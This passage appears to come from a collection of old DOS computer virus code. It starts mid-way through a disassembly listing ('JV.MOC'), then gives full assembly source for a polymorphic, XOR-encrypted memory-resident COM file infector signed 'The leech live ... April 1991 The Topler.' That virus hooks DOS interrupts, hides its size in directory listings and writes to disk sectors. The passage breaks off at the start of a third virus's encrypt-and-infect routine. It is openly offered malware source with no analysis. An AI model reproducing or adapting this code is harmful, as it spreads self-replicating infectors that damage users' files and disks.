  649. 0000:04B3  8BD7                      MOV     DX,DI
  650. 0000:04B5  8B0E1100                  MOV     CX,[Y0011H]
  651. 0000:04B9  8B1E7000                  MOV     BX,[Y0070H]
  652. 0000:04BD  06                        PUSH    ES
  653. 0000:04BE  1F                        POP     DS
  654. 0000:04BF  B43F                      MOV     AH,03FH
  655. 0000:04C1  CD21                      INT     021H
  656. 0000:04C3  721C              X04C3:  JB      X04E1
  657. 0000:04C5  03F9                      ADD     DI,CX
  658. 0000:04C7  33C9                      XOR     CX,CX
  659. 0000:04C9  8BD1                      MOV     DX,CX
  660. 0000:04CB  B80042                    MOV     AX,04200H
  661. 0000:04CE  CD21                      INT     021H
  662.  
  663. "JV.MOC"                                                              PAGE  0010
  664.  
  665. 0000:04D0  BE0500                    MOV     SI,0005H
  666. 0000:04D3  B90500                    MOV     CX,0005H
  667. 0000:04D6  F32EA4                    REPE  MOVS    ES:BYTE PTR (DI),CS:BYTE PT
  668.                                                    R (SI)
  669. 0000:04D9  8BCF                      MOV     CX,DI
  670. 0000:04DB  33D2                      XOR     DX,DX
  671. 0000:04DD  B440                      MOV     AH,040H
  672. 0000:04DF  CD21                      INT     021H
  673. 0000:04E1  720D              X04E1:  JB      X04F0
  674. 0000:04E3  E9BC00                    JMP     X05A2
  675. 0000:04E6  B91C00            X04E6:  MOV     CX,001CH
  676. 0000:04E9  BA4F00                    MOV     DX,004FH
  677. 0000:04EC  B43F                      MOV     AH,03FH
  678. 0000:04EE  CD21                      INT     021H
  679. 0000:04F0  724A              X04F0:  JB      X053C
  680. 0000:04F2  C70661008419              MOV     WORD PTR [Y0061H],01984H
  681. 0000:04F8  A15D00                    MOV     AX,Y005DH
  682. 0000:04FB  A34500                    MOV     Y0045H,AX
  683. 0000:04FE  A15F00                    MOV     AX,Y005FH
  684. 0000:0501  A34300                    MOV     Y0043H,AX
  685. 0000:0504  A16300                    MOV     AX,Y0063H
  686. 0000:0507  A34700                    MOV     Y0047H,AX
  687. 0000:050A  A16500                    MOV     AX,Y0065H
  688. 0000:050D  A34900                    MOV     Y0049H,AX
  689. 0000:0510  A15300                    MOV     AX,Y0053H
  690. 0000:0513  833E510000                CMP     WORD PTR [Y0051H],0000H
  691. 0000:0518  7401                      JZ      X051B
  692. 0000:051A  48                        DEC     AX
  693. 0000:051B  F7267800          X051B:  MUL     WORD PTR [Y0078H]
  694. 0000:051F  03065100                  ADD     AX,[Y0051H]
  695. 0000:0523  83D200                    ADC     DX,0000H
  696. 0000:0526  050F00                    ADD     AX,000FH
  697. 0000:0529  83D200                    ADC     DX,0000H
  698. 0000:052C  25F0FF                    AND     AX,0FFF0H
  699. 0000:052F  A37C00                    MOV     Y007CH,AX
  700. 0000:0532  89167E00                  MOV     [Y007EH],DX
  701. 0000:0536  051007                    ADD     AX,0710H
  702. 0000:0539  83D200                    ADC     DX,0000H
  703. 0000:053C  723A              X053C:  JB      X0578
  704. 0000:053E  F7367800                  DIV     WORD PTR [Y0078H]
  705. 0000:0542  0BD2                      OR      DX,DX
  706. 0000:0544  7401                      JZ      X0547
  707. 0000:0546  40                        INC     AX
  708. 0000:0547  A35300            X0547:  MOV     Y0053H,AX
  709. 0000:054A  89165100                  MOV     [Y0051H],DX
  710. 0000:054E  A17C00                    MOV     AX,Y007CH
  711. 0000:0551  8B167E00                  MOV     DX,[Y007EH]
  712. 0000:0555  F7367A00                  DIV     WORD PTR [Y007AH]
  713. 0000:0559  2B065700                  SUB     AX,[Y0057H]
  714. 0000:055D  A36500                    MOV     Y0065H,AX
  715. 0000:0560  C7066300C500              MOV     WORD PTR [Y0063H],00C5H
  716. 0000:0566  A35D00                    MOV     Y005DH,AX
  717. 0000:0569  C7065F001007              MOV     WORD PTR [Y005FH],0710H
  718. 0000:056F  33C9                      XOR     CX,CX
  719. 0000:0571  8BD1                      MOV     DX,CX
  720. 0000:0573  B80042                    MOV     AX,04200H
  721. 0000:0576  CD21                      INT     021H
  722.  
  723. "JV.MOC"                                                              PAGE  0011
  724.  
  725. 0000:0578  720A              X0578:  JB      X0584
  726. 0000:057A  B91C00                    MOV     CX,001CH
  727. 0000:057D  BA4F00                    MOV     DX,004FH
  728. 0000:0580  B440                      MOV     AH,040H
  729. 0000:0582  CD21                      INT     021H
  730. 0000:0584  7211              X0584:  JB      X0597
  731. 0000:0586  3BC1                      CMP     AX,CX
  732. 0000:0588  7518                      JNZ     X05A2
  733. 0000:058A  8B167C00                  MOV     DX,[Y007CH]
  734. 0000:058E  8B0E7E00                  MOV     CX,[Y007EH]
  735. 0000:0592  B80042                    MOV     AX,04200H
  736. 0000:0595  CD21                      INT     021H
  737. 0000:0597  7209              X0597:  JB      X05A2
  738. 0000:0599  33D2                      XOR     DX,DX
  739. 0000:059B  B91007                    MOV     CX,0710H
  740. 0000:059E  B440                      MOV     AH,040H
  741. 0000:05A0  CD21                      INT     021H
  742. 0000:05A2  2E833E8F0000      X05A2:  CMP     WORD PTR CS:[Y008FH],0000H
  743. 0000:05A8  7404                      JZ      X05AE
  744. 0000:05AA  B449                      MOV     AH,049H
  745. 0000:05AC  CD21                      INT     021H
  746. 0000:05AE  2E833E7000FF      X05AE:  CMP     WORD PTR CS:[Y0070H],0FFFFH
  747. 0000:05B4  7431                      JZ      X05E7
  748. 0000:05B6  2E8B1E7000                MOV     BX,CS:[Y0070H]
  749. 0000:05BB  2E8B167400                MOV     DX,CS:[Y0074H]
  750. 0000:05C0  2E8B0E7600                MOV     CX,CS:[Y0076H]
  751. 0000:05C5  B80157                    MOV     AX,05701H
  752. 0000:05C8  CD21                      INT     021H
  753. 0000:05CA  B43E                      MOV     AH,03EH
  754. 0000:05CC  CD21                      INT     021H
  755. 0000:05CE  2EC5168000                LDS     DX,CS:[Y0080H]
  756. 0000:05D3  2E8B0E7200                MOV     CX,CS:[Y0072H]
  757. 0000:05D8  B80143                    MOV     AX,04301H
  758. 0000:05DB  CD21                      INT     021H
  759. 0000:05DD  2EC5161B00                LDS     DX,CS:[Y001BH]
  760. 0000:05E2  B82425                    MOV     AX,02524H
  761. 0000:05E5  CD21                      INT     021H
  762. 0000:05E7  07                X05E7:  POP     ES
  763. 0000:05E8  1F                        POP     DS
  764. 0000:05E9  5F                        POP     DI
  765. 0000:05EA  5E                        POP     SI
  766. 0000:05EB  5A                        POP     DX
  767. 0000:05EC  59                        POP     CX
  768. 0000:05ED  5B                        POP     BX
  769. 0000:05EE  58                        POP     AX
  770. 0000:05EF  9D                        POPF    
  771. 0000:05F0  2EFF2E1700                JMP     CS:[Y0017H]
  772. 0000:05F5  0000              X05F5:  ADD     [BX+SI],AL
  773. 0000:05F7  0000                      ADD     [BX+SI],AL
  774. 0000:05F9  0000                      ADD     [BX+SI],AL
  775. 0000:05FB  0000                      ADD     [BX+SI],AL
  776. 0000:05FD  0000                      ADD     [BX+SI],AL
  777. 0000:05FF  004D00                    ADD     [DI+00H],CL
  778. 0000:0602  000F                      ADD     [BX],CL
  779. 0000:0604  0000                      ADD     [BX+SI],AL
  780. 0000:0606  0000                      ADD     [BX+SI],AL
  781.  
  782. "JV.MOC"                                                              PAGE  0012
  783.  
  784. 0000:0608  0000                      ADD     [BX+SI],AL
  785. 0000:060A  0000                      ADD     [BX+SI],AL
  786. 0000:060C  0000                      ADD     [BX+SI],AL
  787. 0000:060E  0000                      ADD     [BX+SI],AL
  788. 0000:0610  CD20                      INT     020H
  789. 0000:0612  00A0009A                  ADD     [BX+SI+Y09A00H],AH
  790. 0000:0616  F0FE1D                    LOCK  CALL    [DI]        ; NOT VALID
  791. 0000:0619  F02F                      LOCK  DAS     
  792. 0000:061B  018E1E3C                  ADD     [BP+Y03C1EH],CX
  793. 0000:061F  018E1EEB                  ADD     [BP+Y0EB1EH],CX
  794. 0000:0623  048E                      ADD     AL,08EH
  795. 0000:0625  1E                        PUSH    DS
  796. 0000:0626  8E1EFFFF                  MOV     DS,[Y0FFFFH]
  797. 0000:062A  FFFF                      ???     DI
  798. 0000:062C  FFFF                      ???     DI
  799. 0000:062E  FFFF                      ???     DI
  800. 0000:0630  FFFF                      ???     DI
  801. 0000:0632  FFFF                      ???     DI
  802. 0000:0634  FFFF                      ???     DI
  803. 0000:0636  FFFF                      ???     DI
  804. 0000:0638  FFFF                      ???     DI
  805. 0000:063A  FFFF                      ???     DI
  806. 0000:063C  7C1F                      JL      X065D
  807. 0000:063E  DE3E8D29                  ESC     037H,[Y0298DH]
  808. 0000:0642  1400                      ADC     AL,00H
  809. 0000:0644  1800                      SBB     [BX+SI],AL
  810. 0000:0646  F1                        DB      0F1H
  811. 0000:0647  1F                        POP     DS
  812. 0000:0648  FFFF                      ???     DI
  813. 0000:064A  FFFF                      ???     DI
  814. 0000:064C  0000                      ADD     [BX+SI],AL
  815. 0000:064E  0000                      ADD     [BX+SI],AL
  816. 0000:0650  0000                      ADD     [BX+SI],AL
  817. 0000:0652  0000                      ADD     [BX+SI],AL
  818. 0000:0654  0000                      ADD     [BX+SI],AL
  819. 0000:0656  0000                      ADD     [BX+SI],AL
  820. 0000:0658  0000                      ADD     [BX+SI],AL
  821. 0000:065A  0000                      ADD     [BX+SI],AL
  822. 0000:065C  0000                      ADD     [BX+SI],AL
  823. 0000:065E  0000                      ADD     [BX+SI],AL
  824. 0000:0660  CD21                      INT     021H
  825. 0000:0662  CB                        RET                       ; INTERSEGMENT
  826. 0000:0663  0000              X0663:  ADD     [BX+SI],AL
  827. 0000:0665  0000                      ADD     [BX+SI],AL
  828. 0000:0667  0000                      ADD     [BX+SI],AL
  829. 0000:0669  0000                      ADD     [BX+SI],AL
  830. 0000:066B  0000                      ADD     [BX+SI],AL
  831. 0000:066D  2020                      AND     [BX+SI],AH
  832. 0000:066F  2020                      AND     [BX+SI],AH
  833. 0000:0671  2020                      AND     [BX+SI],AH
  834. 0000:0673  2020                      AND     [BX+SI],AH
  835. 0000:0675  2020                      AND     [BX+SI],AH
  836. 0000:0677  2000                      AND     [BX+SI],AL
  837. 0000:0679  0000                      ADD     [BX+SI],AL
  838. 0000:067B  0000                      ADD     [BX+SI],AL
  839. 0000:067D  2020                      AND     [BX+SI],AH
  840.  
  841. "JV.MOC"                                                              PAGE  0013
  842.  
  843. 0000:067F  2020                      AND     [BX+SI],AH
  844. 0000:0681  2020                      AND     [BX+SI],AH
  845. 0000:0683  2020                      AND     [BX+SI],AH
  846. 0000:0685  2020                      AND     [BX+SI],AH
  847. 0000:0687  2000                      AND     [BX+SI],AL
  848. 0000:0689  0000                      ADD     [BX+SI],AL
  849. 0000:068B  0000                      ADD     [BX+SI],AL
  850. 0000:068D  0000                      ADD     [BX+SI],AL
  851. 0000:068F  0000                      ADD     [BX+SI],AL
  852. 0000:0691  0D6B6F                    OR      AX,06F6BH
  853. 0000:0694  6465                      JZ      X06FB
  854. 0000:0696  6572                      JNZ     X070A
  855. 0000:0698  7A2E                      JPE     X06C8
  856. 0000:069A  6578                      JNZ     X0714
  857. 0000:069C  6520                      JNZ     X06BE
  858. 0000:069E  613A                      JNO     X06DA
  859. 0000:06A0  6B6F                      JPO     X0711
  860. 0000:06A2  6465                      JZ      X0709
  861. 0000:06A4  6572                      JNZ     X0718
  862. 0000:06A6  2E6578                    JNZ     X0721
  863. 0000:06A9  650D                      JNZ     X06B8
  864. 0000:06AB  0000                      ADD     [BX+SI],AL
  865. 0000:06AD  0000                      ADD     [BX+SI],AL
  866. 0000:06AF  0000                      ADD     [BX+SI],AL
  867. 0000:06B1  0000                      ADD     [BX+SI],AL
  868. 0000:06B3  0000                      ADD     [BX+SI],AL
  869. 0000:06B5  0000                      ADD     [BX+SI],AL
  870. 0000:06B7  0000                      ADD     [BX+SI],AL
  871. 0000:06B9  0000                      ADD     [BX+SI],AL
  872. 0000:06BB  0000                      ADD     [BX+SI],AL
  873. 0000:06BD  0000                      ADD     [BX+SI],AL
  874. 0000:06BF  0000                      ADD     [BX+SI],AL
  875. 0000:06C1  0000                      ADD     [BX+SI],AL
  876. 0000:06C3  0000                      ADD     [BX+SI],AL
  877. 0000:06C5  0000                      ADD     [BX+SI],AL
  878. 0000:06C7  0000                      ADD     [BX+SI],AL
  879. 0000:06C9  0000                      ADD     [BX+SI],AL
  880. 0000:06CB  0000                      ADD     [BX+SI],AL
  881. 0000:06CD  0000                      ADD     [BX+SI],AL
  882. 0000:06CF  0000                      ADD     [BX+SI],AL
  883. 0000:06D1  0000                      ADD     [BX+SI],AL
  884. 0000:06D3  0000                      ADD     [BX+SI],AL
  885. 0000:06D5  0000                      ADD     [BX+SI],AL
  886. 0000:06D7  0000                      ADD     [BX+SI],AL
  887. 0000:06D9  005718                    ADD     [BX+018H],DL
  888. 0000:06DC  0825                      OR      [DI],AH
  889. 0000:06DE  A5                        MOVSW   
  890. 0000:06DF  FEC5                      INC     CH
  891. 0000:06E1  07                        POP     ES
  892. 0000:06E2  1E                        PUSH    DS
  893. 0000:06E3  0210                      ADD     DL,[BX+SI]
  894. 0000:06E5  07                        POP     ES
  895. 0000:06E6  57                        PUSH    DI
  896. 0000:06E7  18B10D47                  SBB     [BX+DI+Y0470DH],DH
  897. 0000:06EB  0104                      ADD     [SI],AX
  898. 0000:06ED  7F70                      JG      X075F
  899.  
  900. "JV.MOC"                                                              PAGE  0014
  901.  
  902. 0000:06EF  0010                      ADD     [BX+SI],DL
  903. 0000:06F1  07                        POP     ES
  904. 0000:06F2  1D001C                    SBB     AX,01C00H
  905. 0000:06F5  09A20D3D                  OR      [BP+SI+Y03D0DH],SP
  906. 0000:06F9  0C1B                      OR      AL,01BH
  907. 0000:06FB  02B10D02          X06FB:  ADD     DH,[BX+DI+Y020DH]
  908. 0000:06FF  F24D                      REPNE  DEC     BP
  909. 0000:0701  360E                      PUSH    CS
  910. 0000:0703  0300                      ADD     AX,[BX+SI]
  911. 0000:0705  0000                      ADD     [BX+SI],AL
  912. 0000:0707  00EE                      ADD     DH,CH
  913. 0000:0709  002A              X0709:  ADD     [BP+SI],CH
  914. 0000:070B  0F                        POP     CS
  915. 0000:070C  42                        INC     DX
  916. 0000:070D  01C1                      ADD     CX,AX
  917. 0000:070F  0DB44C                    OR      AX,04CB4H
  918. 0000:0712  B000                      MOV     AL,00H
  919. 0000:0714  CD21              X0714:  INT     021H
  920. 0000:0716  4D                        DEC     BP
  921. 0000:0717  7344                      JAE     X075D
  922. 0000:0719  6F73                      JG      X078E
  923.  
  924. done
  925.  
  926. code               segment
  927.                    assume cs:code
  928.                    org  100h
  929.  
  930. start:
  931.                    jmp  begin
  932.  
  933.                    org  200h
  934. begin:
  935.                    jmp  short beg
  936.  
  937. FileSize           dw   0E00h; 02h
  938. int21vec           dd   0    ; 04h
  939. oldint13           dd   0    ; 08h
  940. oldint24           dd   0    ; 0Ch
  941. Date               dw   0    ; 10h
  942. Time               dw   0    ; 12h
  943.                    db   1    ; 14h
  944. version            dw   0    ; 15h   - mutation status
  945.  
  946. beg:
  947.                    call codenext
  948. codenext:
  949.                    pop  si
  950. mutation1:
  951.                    cli
  952.                    push ds
  953.                    pop  es
  954.                    mov  bp,sp
  955.                    mov  sp,si
  956.                    add  sp,3FEh-(offset codenext-offset begin)
  957. mutation2:
  958.                    mov  cx,ss
  959.                    mov  ax,cs
  960.                    mov  ss,ax
  961.                    pop  bx
  962.                    dec  sp
  963.                    dec  sp
  964.                    add  si,offset mybeg-offset codenext
  965. codeloop:
  966.                    pop  ax
  967.                    xor  al,bh
  968.                    push ax
  969.                    dec  sp
  970.                    cmp  sp,si
  971.                    jnc  codeloop
  972. mybeg:
  973.                    mov  ax,es
  974.                    dec  ax
  975.                    mov  ds,ax
  976.                    add  word ptr ds:[3],-082h
  977.                    mov  bx,ds:[3]
  978.                    mov  byte ptr ds:[0],5ah
  979.                    inc  ax
  980.                    inc  bx
  981.                    add  bx,ax
  982.                    mov  es,bx
  983.                    mov  ss,cx
  984.                    add  si,offset begin-offset mybeg
  985.                    mov  bx,ds
  986.                    mov  ds,ax
  987.                    mov  sp,bp
  988.                    push si
  989.                    xor  di,di
  990.                    mov  cx,400h
  991.                    cld
  992.                    rep  movsb
  993.                    pop  si
  994.                    push bx
  995.                    mov  bx,offset inblock-offset begin
  996.                    push es
  997.                    push bx
  998.                    retf
  999. inblock:
  1000.                    mov  es,ax
  1001.                    mov  ax,cs:[2]                ; File Size
  1002.                    add  ax,100h
  1003.                    mov  di,si
  1004.                    mov  si,ax
  1005.                    mov  cx,400h
  1006.                    rep  movsb
  1007.                    pop  es
  1008.                    xor  ax,ax
  1009.                    mov  ds,ax
  1010.                    sti
  1011.                    cmp  word ptr ds:[21h*4],offset int21-offset begin
  1012.                    jne  count
  1013.                    sub  word ptr es:[3],-082h
  1014.                    test byte ptr ds:[46ch],11100111b
  1015.                    jnz  efect1
  1016.                    push cs
  1017.                    pop  ds
  1018.                    mov  si,offset msg-offset begin
  1019. efect2:
  1020.                    lodsb
  1021.                    or   al,0
  1022.                    jz   efect3
  1023.                    mov  ah,0eh
  1024.                    int  10h
  1025.                    jmp  short efect2
  1026. efect3:
  1027.                    mov  ah,32h
  1028.                    xor  dl,dl
  1029.                    int  21h
  1030.                    jc   efect1
  1031.                    call setaddr
  1032.                    call setint
  1033.                    mov  dx,ds:[bx+10h]
  1034.                    mov  ah,19h
  1035.                    int  21h
  1036.                    mov  cx,2
  1037.                    int  26h
  1038.                    pop  bx
  1039.                    call setint
  1040. efect1:
  1041.                    jmp  quit
  1042. count:
  1043.                    add  word ptr es:[12h],-082h
  1044.                    mov  bx,ds:[46ch]
  1045.                    push ds
  1046.                    push cs
  1047.                    pop  ds
  1048.                    push cs
  1049.                    pop  es
  1050.                    mov  byte ptr ds:[14h],1
  1051.                    and  bh,80h
  1052.                    mov  ds:[4ffh],bh
  1053.                    test bl,00000001b
  1054.                    jnz  mut1
  1055.                    mov  si,offset mutation1-offset begin
  1056.                    add  si,ds:[15h]
  1057.                    lodsb
  1058.                    xchg al,ds:[si]
  1059.                    mov  ds:[si-1],al
  1060. mut1:
  1061.                    test bl,00000010b
  1062.                    jnz  mut2
  1063.                    mov  si,offset mutation2-offset begin
  1064.                    add  si,ds:[15h]
  1065.                    lodsw
  1066.                    xchg ax,ds:[si]
  1067.                    mov  ds:[si-2],ax
  1068. mut2:
  1069.                    test bl,00000100b
  1070.                    jnz  mut3
  1071.                    mov  si,offset codeloop-offset begin
  1072.                    mov  al,2
  1073.                    xor  byte ptr ds:[si],al
  1074.                    xor  byte ptr ds:[si+2],al
  1075.                    xor  byte ptr ds:[si+3],al
  1076. mut3:
  1077.                    test bl,00001000b
  1078.                    jnz  mut4
  1079.                    mov  si,offset codenext-offset begin
  1080.                    mov  di,400h
  1081.                    mov  cx,offset codeloop-offset codenext-2
  1082.                    push si
  1083.                    push di
  1084.                    lodsb
  1085.                    cmp  al,5eh
  1086.                    je   jmp1
  1087.                    inc  si
  1088. jmp1:
  1089.                    push cx
  1090.                    rep  movsb
  1091.                    pop  cx
  1092.                    pop  si
  1093.                    pop  di
  1094.                    cmp  al,5eh
  1095.                    je   jmp2
  1096.                    mov  al,5Eh
  1097.                    stosb
  1098.                    rep  movsb
  1099.                    mov  al,90h
  1100.                    stosb
  1101.                    xor  ax,ax
  1102.                    jmp  short jmp3
  1103. jmp2:
  1104.                    mov  ax,0C68Fh
  1105.                    stosw
  1106.                    rep  movsb
  1107.                    mov  ax,1
  1108. jmp3:
  1109.                    mov  cs:[15h],ax
  1110. mut4:
  1111.                    mov  ah,30h
  1112.                    int  21h
  1113.                    cmp  ax,1e03h
  1114.                    jne  nodos33
  1115.                    mov  ah,34h
  1116.                    int  21h
  1117.                    mov  bx,1460h
  1118.                    jmp  short dos33
  1119. nodos33:
  1120.                    mov  ax,3521h
  1121.                    int  21h
  1122. dos33:
  1123.                    mov  ds:[4],bx
  1124.                    mov  ds:[6],es
  1125.                    mov  si,21h*4
  1126.                    pop  ds
  1127.                    push si
  1128.                    push cs
  1129.                    pop  es
  1130.                    mov  di,offset intend-offset begin+1
  1131.                    movsw
  1132.                    movsw
  1133.                    pop  di
  1134.                    push ds
  1135.                    pop  es
  1136.                    mov  ax,offset int21-offset begin
  1137.                    stosw
  1138.                    mov  ax,cs
  1139.                    stosw
  1140.                    mov  di,offset mybeg-offset begin
  1141.                    mov  al,cs:[3ffh]
  1142. coderloop:
  1143.                    xor  cs:[di],al
  1144.                    inc  di
  1145.                    cmp  di,offset coderloop-offset begin
  1146.                    jc   coderloop
  1147. quit:
  1148.                    mov  ah,62h
  1149.                    int  21h
  1150.                    push bx
  1151.                    mov  ds,bx
  1152.                    mov  es,bx
  1153.                    mov  ax,100h
  1154.                    push ax
  1155.                    retf
  1156. ;------------------------------------------------------------------------------
  1157. infect:
  1158.                    push si
  1159.                    push ds
  1160.                    push es
  1161.                    push di
  1162.                    cld
  1163.                    push cs
  1164.                    pop  ds
  1165.                    xor  dx,dx
  1166.                    call movefp
  1167.                    mov  dx,400h
  1168.                    mov  ah,3fh
  1169.                    mov  cx,3
  1170.                    call Dos
  1171.                    jc   infect4
  1172.                    xor  di,di
  1173.                    mov  ax,word ptr ds:[400h]
  1174.                    mov  cx,ds:[0]
  1175.                    cmp  cx,ax
  1176.                    je   infect8
  1177.                    cmp  al,0EBH  ; near jmp
  1178.                    jne  infect1
  1179.                    mov  al,ah
  1180.                    xor  ah,ah
  1181.                    add  ax,2
  1182.                    mov  di,ax
  1183. infect1:
  1184.                    cmp  al,0E9h  ; far jmp
  1185.                    jne  infect2
  1186.                    mov  ax,ds:[401h]
  1187.                    add  ax,3
  1188.                    mov  di,ax
  1189.                    xor  ax,ax
  1190. infect2:
  1191.                    cmp  ax,'MZ'
  1192.                    je   infect4
  1193.                    cmp  ax,'ZM'
  1194.                    jne  infect3
  1195. infect4:
  1196.                    stc
  1197. infect8:
  1198.                    jmp  infectquit
  1199. infect3:
  1200.                    mov  dx,di
  1201.                    push cx
  1202.                    call movefp
  1203.                    mov  dx,400h
  1204.                    mov  ah,3fh
  1205.                    mov  cx,dx
  1206.                    call Dos
  1207.                    pop  cx
  1208.                    jc   infect4
  1209.                    cmp  ds:[400h],cx
  1210.                    je   infect8
  1211.                    mov  ax,di
  1212.                    sub  ah,-4
  1213.                    cmp  ax,ds:[2]
  1214.                    jnc  infect4
  1215.                    mov  dx,ds:[2]
  1216.                    call movefp
  1217.                    mov  dx,400h
  1218.                    mov  cx,dx
  1219.                    mov  ah,40h
  1220.                    call Dos
  1221. infect6:
  1222.                    jc   infectquit
  1223.                    mov  dx,di
  1224.                    call movefp
  1225.                    push cs
  1226.                    pop  es
  1227.                    mov  di,400h
  1228.                    push di
  1229.                    push di
  1230.                    xor  si,si
  1231.                    mov  cx,di
  1232.                    rep  movsb
  1233.                    mov  si,400h+offset coderloop-offset begin
  1234.                    mov  al,ds:[7ffh]
  1235. infect5:
  1236.                    xor  ds:[si],al
  1237.                    inc  si
  1238.                    cmp  si,07ffh
  1239.                    jc   infect5
  1240.                    pop  cx
  1241.                    pop  dx
  1242.                    mov  ah,40h
  1243.                    call Dos
  1244. infectquit:
  1245.                    pop  di
  1246.                    pop  es
  1247.                    pop  ds
  1248.                    pop  si
  1249.                    ret
  1250. int21:
  1251.                    cmp  ax,4b00h
  1252.                    je   exec
  1253.                    cmp  ah,3eh
  1254.                    je   close
  1255.                    cmp  ah,11h
  1256.                    je   dir
  1257.                    cmp  ah,12h
  1258.                    je   dir
  1259. intend:
  1260.                    db   0eah,0,0,0,0
  1261.  
  1262. dir:
  1263.                    push si
  1264.                    mov  si,offset intend-offset begin+1
  1265.                    pushf
  1266.                    call dword ptr cs:[si]
  1267.                    pop  si
  1268.                    push ax
  1269.                    push bx
  1270.                    push es
  1271.                    mov  ah,2fh
  1272.                    call dos
  1273.                    cmp  byte ptr es:[bx],0ffh
  1274.                    jne  dir2
  1275.                    add  bx,7
  1276. dir2:
  1277.                    mov  ax,es:[bx+17h]
  1278.                    and  ax,1fh
  1279.                    cmp  ax,1eh
  1280.                    jne  dir1
  1281.                    mov  ax,es:[bx+1dh]
  1282.                    cmp  ax,0801h
  1283.                    jc   dir1
  1284.                    sub  ax,400h
  1285.                    mov  es:[bx+1dh],ax
  1286. dir1:
  1287.                    pop  es
  1288.                    pop  bx
  1289.                    pop  ax
  1290.                    iret
  1291. int24:
  1292.                    mov  al,3
  1293.                    iret
  1294. Dos:
  1295.                    pushf
  1296.                    call dword ptr cs:[4]
  1297.                    ret
  1298. moveFP:
  1299.                    xor  cx,cx
  1300.                    mov  ax,4200h
  1301.                    call Dos
  1302.                    ret
  1303. exec:
  1304.                    push ax
  1305.                    push bx
  1306.                    mov  byte ptr cs:[14h],0
  1307.                    mov  ax,3d00h
  1308.                    call dos
  1309.                    mov  bx,ax
  1310.                    mov  ah,3eh
  1311.                    int  21h
  1312.                    pop  bx
  1313.                    pop  ax
  1314. intendjmp:
  1315.                    jmp  short intend
  1316. close:
  1317.                    or   byte ptr cs:[14h],0
  1318.                    jnz  intendjmp
  1319.                    push cx
  1320.                    push dx
  1321.                    push di
  1322.                    push es
  1323.                    push ax
  1324.                    push bx
  1325.                    call setaddr
  1326.                    call setint
  1327.                    mov  ax,1220h
  1328.                    int  2fh
  1329.                    jc   closequit
  1330.                    mov  ax,1216h
  1331.                    mov  bl,es:[di]
  1332.                    xor  bh,bh
  1333.                    int  2fh
  1334.                    mov  ax,es:[di+11h]
  1335.                    mov  cs:[2],ax
  1336.                    mov  ax,es:[di+0dh]
  1337.                    and  al,0f8h
  1338.                    mov  cs:[12h],ax
  1339.                    mov  ax,es:[di+0fh]
  1340.                    mov  cs:[10h],ax
  1341.                    cmp  word ptr es:[di+29h],'MO'
  1342.                    jne  closequit
  1343.                    cmp  byte ptr es:[di+28h],'C'
  1344.                    jne  closequit
  1345.                    cmp  cs:[2],0FA00h
  1346.                    jnc  closequit
  1347.                    mov  al,20h
  1348.                    xchg al,es:[di+4]
  1349.                    mov  ah,2
  1350.                    xchg es:[di+2],ah
  1351.                    pop  bx
  1352.                    push bx
  1353.                    push ax
  1354.                    call infect
  1355.                    pop  ax
  1356.                    mov  es:[di+4],al
  1357.                    mov  es:[di+2],ah
  1358.                    mov  cx,cs:[12h]
  1359.                    jc   close1
  1360.                    or   cl,1fh
  1361.                    and  cl,0feh
  1362. close1:
  1363.                    mov  dx,cs:[10h]
  1364.                    mov  ax,5701h
  1365.                    call Dos
  1366. closequit:
  1367.                    pop  bx
  1368.                    pop  ax
  1369.                    pop  es
  1370.                    pop  di
  1371.                    pop  dx
  1372.                    pop  cx
  1373.                    call dos
  1374.                    call setint
  1375.                    retf 02
  1376. setaddr:
  1377.                    mov  ah,13h
  1378.                    int  2fh
  1379.                    mov  cs:[8d],bx
  1380.                    mov  cs:[10d],es
  1381.                    int  2fh
  1382.                    mov  cs:[12d],offset int24-offset begin
  1383.                    mov  cs:[14d],cs
  1384.                    ret
  1385. setint:
  1386.                    push ax
  1387.                    push si
  1388.                    push ds
  1389.                    pushf
  1390.                    cli
  1391.                    cld
  1392.                    xor  ax,ax
  1393.                    mov  ds,ax
  1394.                    mov  si,13h*4
  1395.                    lodsw
  1396.                    xchg ax,cs:[8]
  1397.                    mov  ds:[si-2],ax
  1398.                    lodsw
  1399.                    xchg ax,cs:[10d]
  1400.                    mov  ds:[si-2],ax
  1401.                    mov  si,24h*4
  1402.                    lodsw
  1403.                    xchg ax,cs:[12d]
  1404.                    mov  ds:[si-2],ax
  1405.                    lodsw
  1406.                    xchg ax,cs:[14d]
  1407.                    mov  ds:[si-2],ax
  1408.                    popf
  1409.                    pop  ds
  1410.                    pop  si
  1411.                    pop  ax
  1412.                    ret
  1413. msg:
  1414.                    db   'The leech live ...',0
  1415.                    db   'April 1991  The Topler.',0
  1416.  
  1417.                    org  0F00h
  1418.  
  1419.                    int  20h
  1420.  
  1421. code               ends
  1422.                    end  start
  1423.  
  1424.  
  1425. done
  1426.  
  1427. cr              equ     13              ;  Carriage return ASCII code
  1428. lf              equ     10              ;  Linefeed ASCII code
  1429. tab             equ     9               ;  Tab ASCII code
  1430. virus_size      equ     666             ;  Size of the virus file
  1431. code_start      equ     100h            ;  Address right after PSP in memory
  1432. dta             equ     80h             ;  Addr of default disk transfer area
  1433. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  1434. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  1435. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  1436. attribute       equ     21              ;  Offset in DTA of file attribute
  1437.  
  1438.  
  1439.         code    segment 'code'          ;  Open code segment
  1440.         assume  cs:code,ds:code         ;  One segment for both code & data
  1441.                 org     code_start      ;  Start code image after PSP
  1442.  
  1443. ;---------------------------------------------------------------------
  1444. ;  All executable code is contained in boundaries of procedure "main".
  1445. ;  The following code, until the start of "virus_code", is the non-
  1446. ;  encrypted CMT portion of the code to load up the real program.
  1447. ;---------------------------------------------------------------------
  1448. main    proc    near                    ;  Code execution begins here
  1449.         call    encrypt_decrypt         ;  Decrypt the real virus code
  1450.         jmp     random_mutation         ;  Put the virus into action
  1451.  
  1452. encrypt_val     db      00h             ;  Hold value to encrypt by here
  1453.  
  1454. ; ----------  Encrypt, save, and restore the virus code  -----------
  1455. infect_file:
  1456.         mov     bx,handle               ;  Get the handle
  1457.         push    bx                      ;  Save it on the stack
  1458.         call    encrypt_decrypt         ;  Encrypt most of the code
  1459.         pop     bx                      ;  Get back the handle
  1460.         mov     cx,virus_size           ;  Total number of bytes to write
  1461.         mov     dx,code_start           ;  Buffer where code starts in memory
  1462.         mov     ah,40h                  ;  DOS write-to-handle service
  1463.         int     21h                     ;  Write the virus code into the file
  1464.         call    encrypt_decrypt         ;  Restore the code as it was
  1465.         ret                             ;  Go back to where you came from
  1466.  
